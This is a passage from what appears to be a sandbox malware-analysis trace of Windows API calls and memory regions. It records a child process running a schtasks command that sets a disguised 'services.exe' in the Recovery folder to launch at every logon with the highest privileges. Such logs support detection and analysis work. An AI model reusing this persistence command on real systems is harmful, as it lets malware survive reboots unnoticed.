lpMem=0x1cd790) returned 1 [0060.941] GetProcessHeap () returned 0x1b0000 [0060.941] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1cd790) returned 0xc [0060.941] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cd790 | out: hHeap=0x1b0000) returned 1 [0060.941] GetProcessHeap () returned 0x1b0000 [0060.941] GetProcessHeap () returned 0x1b0000 [0060.941] HeapValidate (hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1ccd60) returned 1 [0060.941] GetProcessHeap () returned 0x1b0000 [0060.942] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1ccd60) returned 0x20 [0060.943] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1ccd60 | out: hHeap=0x1b0000) returned 1 [0060.943] GetProcessHeap () returned 0x1b0000 [0060.943] GetProcessHeap () returned 0x1b0000 [0060.943] HeapValidate (hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cbb60) returned 1 [0060.944] GetProcessHeap () returned 0x1b0000 [0060.944] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1cbb60) returned 0x18 [0060.944] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cbb60 | out: hHeap=0x1b0000) returned 1 [0060.944] GetProcessHeap () returned 0x1b0000 [0060.944] GetProcessHeap () returned 0x1b0000 [0060.944] HeapValidate (hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c5b10) returned 1 [0060.944] GetProcessHeap () returned 0x1b0000 [0060.944] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1c5b10) returned 0x20 [0060.944] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c5b10 | out: hHeap=0x1b0000) returned 1 [0060.944] GetProcessHeap () returned 0x1b0000 [0060.944] GetProcessHeap () returned 0x1b0000 [0060.944] HeapValidate (hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c5b40) returned 1 [0060.944] GetProcessHeap () returned 0x1b0000 [0060.944] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1c5b40) returned 0x20 [0060.945] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c5b40 | out: hHeap=0x1b0000) returned 1 [0060.945] GetProcessHeap () returned 0x1b0000 [0060.945] GetProcessHeap () returned 0x1b0000 [0060.945] HeapValidate (hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c5b70) returned 1 [0060.945] GetProcessHeap () returned 0x1b0000 [0060.945] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1c5b70) returned 0x20 [0060.945] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c5b70 | out: hHeap=0x1b0000) returned 1 [0060.945] GetProcessHeap () returned 0x1b0000 [0060.945] GetProcessHeap () returned 0x1b0000 [0060.945] HeapValidate (hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c5ba0) returned 1 [0060.946] GetProcessHeap () returned 0x1b0000 [0060.946] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1c5ba0) returned 0x20 [0060.946] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c5ba0 | out: hHeap=0x1b0000) returned 1 [0060.946] GetProcessHeap () returned 0x1b0000 [0060.946] GetProcessHeap () returned 0x1b0000 [0060.946] HeapValidate (hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cbb80) returned 1 [0060.946] GetProcessHeap () returned 0x1b0000 [0060.946] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1cbb80) returned 0x18 [0060.946] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cbb80 | out: hHeap=0x1b0000) returned 1 [0060.946] GetProcessHeap () returned 0x1b0000 [0060.946] GetProcessHeap () returned 0x1b0000 [0060.946] HeapValidate (hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c5bd0) returned 1 [0060.946] GetProcessHeap () returned 0x1b0000 [0060.946] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1c5bd0) returned 0x20 [0060.947] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c5bd0 | out: hHeap=0x1b0000) returned 1 [0060.947] GetProcessHeap () returned 0x1b0000 [0060.947] GetProcessHeap () returned 0x1b0000 [0060.947] HeapValidate (hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c5c60) returned 1 [0060.947] GetProcessHeap () returned 0x1b0000 [0060.947] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1c5c60) returned 0x20 [0060.947] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c5c60 | out: hHeap=0x1b0000) returned 1 [0060.947] GetProcessHeap () returned 0x1b0000 [0060.948] GetProcessHeap () returned 0x1b0000 [0060.948] HeapValidate (hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c5cc0) returned 1 [0060.948] GetProcessHeap () returned 0x1b0000 [0060.948] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1c5cc0) returned 0x20 [0060.948] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c5cc0 | out: hHeap=0x1b0000) returned 1 [0060.948] GetProcessHeap () returned 0x1b0000 [0060.948] GetProcessHeap () returned 0x1b0000 [0060.948] HeapValidate (hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c5d20) returned 1 [0060.948] GetProcessHeap () returned 0x1b0000 [0060.948] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1c5d20) returned 0x20 [0060.949] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c5d20 | out: hHeap=0x1b0000) returned 1 [0060.949] GetProcessHeap () returned 0x1b0000 [0060.949] GetProcessHeap () returned 0x1b0000 [0060.949] HeapValidate (hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c5d50) returned 1 [0060.949] GetProcessHeap () returned 0x1b0000 [0060.949] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1c5d50) returned 0x20 [0060.949] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c5d50 | out: hHeap=0x1b0000) returned 1 [0060.949] GetProcessHeap () returned 0x1b0000 [0060.949] GetProcessHeap () returned 0x1b0000 [0060.949] HeapValidate (hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cbba0) returned 1 [0060.949] GetProcessHeap () returned 0x1b0000 [0060.949] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1cbba0) returned 0x18 [0060.949] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cbba0 | out: hHeap=0x1b0000) returned 1 [0060.949] GetProcessHeap () returned 0x1b0000 [0060.949] GetProcessHeap () returned 0x1b0000 [0060.949] HeapValidate (hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c5c90) returned 1 [0060.949] GetProcessHeap () returned 0x1b0000 [0060.949] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1c5c90) returned 0x20 [0060.950] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c5c90 | out: hHeap=0x1b0000) returned 1 [0060.950] GetProcessHeap () returned 0x1b0000 [0060.950] GetProcessHeap () returned 0x1b0000 [0060.950] HeapValidate (hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cbb20) returned 1 [0060.950] GetProcessHeap () returned 0x1b0000 [0060.950] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1cbb20) returned 0x18 [0060.950] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cbb20 | out: hHeap=0x1b0000) returned 1 [0060.950] exit (_Code=0) Thread: id = 103 os_tid = 0xef0 Process: id = "12" image_name = "schtasks.exe" filename = "c:\\windows\\system32\\schtasks.exe" page_root = "0x29d01000" os_pid = "0xef4" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "6" os_parent_pid = "0xa54" cmd_line = "schtasks.exe /create /tn \"services\" /sc ONLOGON /tr \"'C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\services.exe'\" /rl HIGHEST /f" cur_dir = "C:\\Windows\\system32\\" os_username = "Q9IATRKPRH\\kEecfMwgj" bitness = "32" os_groups = "Q9IATRKPRH\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f1fb" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 1853 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 1854 start_va = 0x30000 end_va = 0x33fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 1855 start_va = 0x40000 end_va = 0x40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 1856 start_va = 0x200000 end_va = 0x27ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000200000" filename = "" Region: id = 1857 start_va = 0x77be0000 end_va = 0x77d88fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 1858 start_va = 0x7efe0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 1859 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 1860 start_va = 0xff080000 end_va = 0xff0c7fff monitored = 1 entry_point = 0xff0a966c region_type = mapped_file name = "schtasks.exe" filename = "\\Windows\\System32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe") Region: id = 1861 start_va = 0x7fefff00000 end_va = 0x7fefff00fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 1862 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 1863 start_va = 0x7fffffdd000 end_va = 0x7fffffdefff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdd000" filename = "" Region: id = 1864 start_va = 0x7fffffdf000 end_va = 0x7fffffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdf000" filename = "" Region: id = 1865 start_va = 0x50000 end_va = 0x1bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000050000" filename = "" Region: id = 1866 start_va = 0x779c0000 end_va = 0x77adefff monitored = 0 entry_point = 0x779d5340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 1867 start_va = 0x7fefddf0000 end_va = 0x7fefde5bfff monitored = 0 entry_point = 0x7fefddf2780 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 1868 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 1869 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 1870 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 1871 start_va = 0x50000 end_va = 0xb6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 1872 start_va = 0xc0000 end_va = 0x1bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000c0000" filename = "" Region: id = 1873 start_va = 0x7feffd90000 end_va = 0x7feffe2efff monitored = 0 entry_point = 0x7feffd925a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 1874 start_va = 0x77ae0000 end_va = 0x77bd9fff monitored = 0 entry_point = 0x77afa2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 1875 start_va = 0x7feff680000 end_va = 0x7feff6e6fff monitored = 0 entry_point = 0x7feff68b03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 1876 start_va = 0x7feff6f0000 end_va = 0x7feff6fdfff monitored = 0 entry_point = 0x7feff6f1080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 1877 start_va = 0x7feff4d0000 end_va = 0x7feff598fff monitored = 0 entry_point = 0x7feff54a874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 1878 start_va = 0x7feff810000 end_va = 0x7feffa12fff monitored = 0 entry_point = 0x7feff833330 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 1879 start_va = 0x7fefdf20000 end_va = 0x7fefe04cfff monitored = 0 entry_point = 0x7fefdf6ed50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 1880 start_va = 0x7feff5a0000 end_va = 0x7feff676fff monitored = 0 entry_point = 0x7feff5a3274 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 1881 start_va = 0x7feffa20000 end_va = 0x7feffa90fff monitored = 0 entry_point = 0x7feffa31e20 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 1882 start_va = 0x7fefb0b0000 end_va = 0x7fefb0b9fff monitored = 0 entry_point = 0x7fefb0b260c region_type = mapped_file name = "ktmw32.dll" filename = "\\Windows\\System32\\ktmw32.dll" (normalized: "c:\\windows\\system32\\ktmw32.dll") Region: id = 1883 start_va = 0x20000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 1884 start_va = 0x280000 end_va = 0x37ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000280000" filename = "" Region: id = 1885 start_va = 0x380000 end_va = 0x507fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 1886 start_va = 0x1c0000 end_va = 0x1e8fff monitored = 0 entry_point = 0x1c1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 1887 start_va = 0x1c0000 end_va = 0x1e8fff monitored = 0 entry_point = 0x1c1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 1888 start_va = 0x7feffaa0000 end_va = 0x7feffacdfff monitored = 0 entry_point = 0x7feffaa1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 1889 start_va = 0x7feff700000 end_va = 0x7feff808fff monitored = 0 entry_point = 0x7feff701064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 1890 start_va = 0x510000 end_va = 0x690fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000510000" filename = "" Region: id = 1891 start_va = 0x6a0000 end_va = 0x1a9ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006a0000" filename = "" Region: id = 1892 start_va = 0x1c0000 end_va = 0x1d1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "schtasks.exe.mui" filename = "\\Windows\\System32\\en-US\\schtasks.exe.mui" (normalized: "c:\\windows\\system32\\en-us\\schtasks.exe.mui") Region: id = 1893 start_va = 0x1e0000 end_va = 0x1e0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001e0000" filename = "" Region: id = 1894 start_va = 0x1f0000 end_va = 0x1f0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001f0000" filename = "" Region: id = 1895 start_va = 0x7fefccf0000 end_va = 0x7fefccfbfff monitored = 0 entry_point = 0x7fefccf1064 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 1896 start_va = 0x1aa0000 end_va = 0x1d6efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 1897 start_va = 0x1d70000 end_va = 0x1decfff monitored = 0 entry_point = 0x1d7cec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 1898 start_va = 0x1d70000 end_va = 0x1decfff monitored = 0 entry_point = 0x1d7cec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 1899 start_va = 0x7fefda20000 end_va = 0x7fefda2efff monitored = 0 entry_point = 0x7fefda21010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 1900 start_va = 0x7fefc480000 end_va = 0x7fefc4d5fff monitored = 0 entry_point = 0x7fefc48bbc0 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 1901 start_va = 0x1d70000 end_va = 0x1f1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001d70000" filename = "" Region: id = 1902 start_va = 0x1d70000 end_va = 0x1e4efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001d70000" filename = "" Region: id = 1903 start_va = 0x1ea0000 end_va = 0x1f1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001ea0000" filename = "" Region: id = 1904 start_va = 0x7fefdf00000 end_va = 0x7fefdf1efff monitored = 0 entry_point = 0x7fefdf060e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 1905 start_va = 0x2070000 end_va = 0x20effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002070000" filename = "" Region: id = 1906 start_va = 0x7fffffdb000 end_va = 0x7fffffdcfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdb000" filename = "" Region: id = 1907 start_va = 0x7feffcb0000 end_va = 0x7feffd8afff monitored = 0 entry_point = 0x7feffcd0760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 1908 start_va = 0x1e50000 end_va = 0x1e50fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 1909 start_va = 0x7fefe3c0000 end_va = 0x7fefe458fff monitored = 0 entry_point = 0x7fefe3c1c10 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 1910 start_va = 0x1e60000 end_va = 0x1e60fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e60000" filename = "" Region: id = 1911 start_va = 0x7fefb890000 end_va = 0x7fefb9b6fff monitored = 0 entry_point = 0x7fefb8910ec region_type = mapped_file name = "taskschd.dll" filename = "\\Windows\\System32\\taskschd.dll" (normalized: "c:\\windows\\system32\\taskschd.dll") Region: id = 1912 start_va = 0x7fefd9f0000 end_va = 0x7fefda14fff monitored = 0 entry_point = 0x7fefd9f9658 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 1974 start_va = 0x7fefc010000 end_va = 0x7fefc044fff monitored = 0 entry_point = 0x7fefc011064 region_type = mapped_file name = "xmllite.dll" filename = "\\Windows\\System32\\xmllite.dll" (normalized: "c:\\windows\\system32\\xmllite.dll") Thread: id = 104 os_tid = 0xef8 [0059.987] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x27fe20 | out: lpSystemTimeAsFileTime=0x27fe20*(dwLowDateTime=0x4ce34d00, dwHighDateTime=0x1d9eb0c)) [0059.987] GetCurrentProcessId () returned 0xef4 [0059.987] GetCurrentThreadId () returned 0xef8 [0059.987] GetTickCount () returned 0x17649c3 [0059.987] RtlQueryPerformanceCounter (in: lpPerformanceCount=0x27fe28 | out: lpPerformanceCount=0x27fe28*=2486647022377) returned 1 [0059.987] GetModuleHandleW (lpModuleName=0x0) returned 0xff080000 [0059.987] __set_app_type (_Type=0x1) [0059.987] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xff0a972c) returned 0x0 [0059.988] __wgetmainargs (in: _Argc=0xff0c1240, _Argv=0xff0c1250, _Env=0xff0c1248, _DoWildCard=0, _StartInfo=0xff0c125c | out: _Argc=0xff0c1240, _Argv=0xff0c1250, _Env=0xff0c1248) returned 0 [0059.989] _onexit (_Func=0xff0b2ab0) returned 0xff0b2ab0 [0059.989] _onexit (_Func=0xff0b2ac4) returned 0xff0b2ac4 [0059.989] _onexit (_Func=0xff0b2afc) returned 0xff0b2afc [0059.989] _onexit (_Func=0xff0b2b58) returned 0xff0b2b58 [0059.989] _onexit (_Func=0xff0b2b80) returned 0xff0b2b80 [0059.989] _onexit (_Func=0xff0b2ba8) returned 0xff0b2ba8 [0059.989] _onexit (_Func=0xff0b2bd0) returned 0xff0b2bd0 [0059.990] _onexit (_Func=0xff0b2bf8) returned 0xff0b2bf8 [0059.990] _onexit (_Func=0xff0b2c20) returned 0xff0b2c20 [0059.990] _onexit (_Func=0xff0b2c48) returned 0xff0b2c48 [0059.990] _onexit (_Func=0xff0b2c70) returned 0xff0b2c70 [0059.991] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0059.991] WinSqmIsOptedIn () returned 0x0 [0059.991] GetProcessHeap () returned 0xc0000 [0059.991] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0xc, Size=0x18) returned 0xd5590 [0059.992] SetLastError (dwErrCode=0x0) [0059.992] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x2, Condition=0x3) returned 0x8000000000000018 [0059.992] VerSetConditionMask (ConditionMask=0x8000000000000018, TypeMask=0x1, Condition=0x3) returned 0x800000000000001b [0059.992] VerSetConditionMask (ConditionMask=0x800000000000001b, TypeMask=0x20, Condition=0x3) returned 0x800000000001801b [0059.993] VerifyVersionInfoW (in: lpVersionInformation=0x27f5e0, dwTypeMask=0x3, dwlConditionMask=0x800000000001801b | out: lpVersionInformation=0x27f5e0) returned 1 [0059.993] GetProcessHeap () returned 0xc0000 [0059.993] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0xc, Size=0x18) returned 0xdbb50 [0059.993] lstrlenW (lpString="") returned 0 [0059.993] GetProcessHeap () returned 0xc0000 [0059.993] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0xc, Size=0x2) returned 0xdbb70 [0059.993] GetProcessHeap () returned 0xc0000 [0059.993] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0xc, Size=0x20) returned 0xd5a80 [0059.993] GetProcessHeap () returned 0xc0000 [0059.993] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0xc, Size=0x18) returned 0xdbb90 [0059.993] GetProcessHeap () returned 0xc0000 [0059.993] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0xc, Size=0x20) returned 0xd5ab0 [0059.993] GetProcessHeap () returned 0xc0000 [0059.993] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0xc, Size=0x20) returned 0xd5ae0 [0059.993] GetProcessHeap () returned 0xc0000 [0059.993] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0xc, Size=0x20) returned 0xd5b10 [0059.993] GetProcessHeap () returned 0xc0000 [0059.993] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0xc, Size=0x20) returned 0xd5b40 [0059.993] GetProcessHeap () returned 0xc0000 [0059.993] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0xc, Size=0x18) returned 0xdbbb0 [0059.993] GetProcessHeap () returned 0xc0000 [0059.993] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0xc, Size=0x20) returned 0xd5b70 [0059.993] GetProcessHeap () returned 0xc0000 [0059.993] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0xc, Size=0x20) returned 0xd5ba0 [0059.993] GetProcessHeap () returned 0xc0000 [0059.993] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0xc, Size=0x20) returned 0xd5bd0 [0059.993] GetProcessHeap () returned 0xc0000 [0059.994] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0xc, Size=0x20) returned 0xd5c00 [0059.994] GetProcessHeap () returned 0xc0000 [0059.994] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0xc, Size=0x18) returned 0xdbbd0 [0059.994] GetProcessHeap () returned 0xc0000 [0059.994] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0xc, Size=0x20) returned 0xd5c30 [0059.994] GetProcessHeap () returned 0xc0000 [0059.994] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0xc, Size=0x20) returned 0xd5c60 [0059.994] GetProcessHeap () returned 0xc0000 [0059.994] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0xc, Size=0x20) returned 0xd5c90 [0059.994] GetProcessHeap () returned 0xc0000 [0059.994] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0xc, Size=0x20) returned 0xd5cc0 [0059.994] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0059.994] SetLastError (dwErrCode=0x0) [0059.994] GetProcessHeap () returned 0xc0000 [0059.994] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0xc, Size=0x20) returned 0xd5cf0 [0059.994] GetProcessHeap () returned 0xc0000 [0059.994] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0xc, Size=0x20) returned 0xd5d20 [0059.994] GetProcessHeap () returned 0xc0000 [0059.994] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0xc, Size=0x20) returned 0xd5d50 [0059.994] GetProcessHeap () returned 0xc0000 [0059.994] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0xc, Size=0x20) returned 0xd5d80 [0059.994] GetProcessHeap () returned 0xc0000 [0059.994] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0xc, Size=0x20) returned 0xd5db0 [0059.995] GetProcessHeap () returned 0xc0000 [0059.995] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0xc, Size=0x18) returned 0xdbbf0 [0059.995] _memicmp (_Buf1=0xdbbf0, _Buf2=0xff081b08, _Size=0x7) returned 0 [0059.995] GetProcessHeap () returned 0xc0000 [0059.995] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0xc, Size=0x208) returned 0xdbd90 [0059.995] GetModuleFileNameW (in: hModule=0x0, lpFilename=0xdbd90, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe")) returned 0x20 [0059.995] LoadLibraryExA (lpLibFileName="VERSION.dll", hFile=0x0, dwFlags=0x0) returned 0x7fefccf0000 [0059.999] GetProcAddress (hModule=0x7fefccf0000, lpProcName="GetFileVersionInfoSizeW") returned 0x7fefccf15fc [0059.999] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", lpdwHandle=0x0 | out: lpdwHandle=0x0) returned 0x744 [0060.000] GetProcessHeap () returned 0xc0000 [0060.000] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0xc, Size=0x74e) returned 0xdc360 [0060.000] GetProcAddress (hModule=0x7fefccf0000, 